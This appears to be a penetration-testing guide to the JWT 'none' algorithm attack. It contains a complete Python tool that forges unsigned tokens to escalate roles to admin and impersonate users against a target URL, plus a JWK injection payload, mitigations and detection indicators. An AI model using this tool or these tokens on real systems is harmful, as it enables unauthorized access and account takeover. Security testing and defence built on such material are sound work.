Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

Prerequisites

Target application using JWT for authentication or authorization
Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
Python 3.8+ with PyJWT library for token crafting
Understanding of JWT structure (Header.Payload.Signature)
Authorization to perform security testing on the target

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results


def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")


if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

Change alg to HS256
Sign the token using the public key as the HMAC secret
The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

JWT tokens with "alg": "none" (or case variations) in server logs
Tokens with empty or missing signature segments
Sudden change in algorithm field from normal patterns
Tokens with modified claims (role escalation) from the same session
Authorization header containing tokens with only two Base64 segments

References

OWASP JWT Testing Guide: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
Auth0 JWT Vulnerability Disclosure: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
PortSwigger JWT None Algorithm: https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
HackTricks JWT Vulnerabilities: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
Invicti JWT Signature Bypass: https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/jwt-signature-bypass-via-none-algorithm

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